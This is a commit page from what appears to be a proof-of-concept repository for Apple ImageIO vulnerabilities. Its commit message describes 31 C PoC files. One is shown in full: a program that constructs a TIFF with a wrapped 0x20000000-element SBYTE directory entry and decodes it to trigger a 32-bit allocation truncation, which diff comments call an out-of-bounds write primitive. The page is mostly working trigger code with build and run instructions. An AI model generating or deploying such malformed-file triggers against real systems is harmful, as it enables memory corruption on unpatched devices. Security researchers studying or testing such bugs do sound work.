v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+86
View File
@@ -0,0 +1,86 @@
// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488
// TIFF directory entry allocation 32-bit truncation
// C twin of the Swift POC: builds the wrapped-count TIFF and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112488 CVE-2026-112488.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112488 [count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: TIFFPayload.dirEntryAllocWrap) ──
static buf tiff_dir_entry_wrap(uint32_t count) {
buf out = {0};
bcat(&out, "II\x2a\x00", 4); // little-endian TIFF
bput(&out, 8); bput(&out, 0); bput(&out, 0); bput(&out, 0); // IFD0 at 8
bput(&out, 3); bput(&out, 0); // 3 entries
// entry: ImageWidth SHORT 1 = 1
bput(&out, 0); bput(&out, 1);
bput(&out, 3); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
// entry: ImageLength SHORT 1 = 1
bput(&out, 1); bput(&out, 1);
bput(&out, 3); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
// entry: wrapped-count carrier, SBYTE (type 6) array, count << 0 wraps at 32 bits
bput(&out, 0x00); bput(&out, 0x01);
bput(&out, 6); bput(&out, 0);
bcat(&out, (uint8_t[]){count & 0xff, (count >> 8) & 0xff, (count >> 16) & 0xff, (count >> 24) & 0xff}, 4);
bcat(&out, (uint8_t[]){64, 0, 0, 0}, 4); // value offset 64
bput(&out, 0); bput(&out, 0); bput(&out, 0); bput(&out, 0); // next IFD
brep(&out, 0, 64); // value area
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x20000000;
buf tiff = tiff_dir_entry_wrap(count);
FILE *f = fopen("direntry_wrap.tif", "wb");
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&tiff, &detail);
printf("CVE-2026-112488 · count=0x%08x type=SBYTE · %s\n", count, detail ? detail : "?");
printf("seed: direntry_wrap.tif (%zu B) · exit code %d\n", tiff.n, rc);
bfree(&tiff);
return rc == 0 ? 0 : 1;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] TIFF 目录项分配 32 位截断
// 输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0,
// 而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。
//
// [en] TIFF directory entry allocation 32-bit truncation
// The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation.
// With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element
// conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit
// checked size.
// ── 判别 / oracle ──
// 该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。
// TIFF directory entry allocation 32-bit truncation
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
}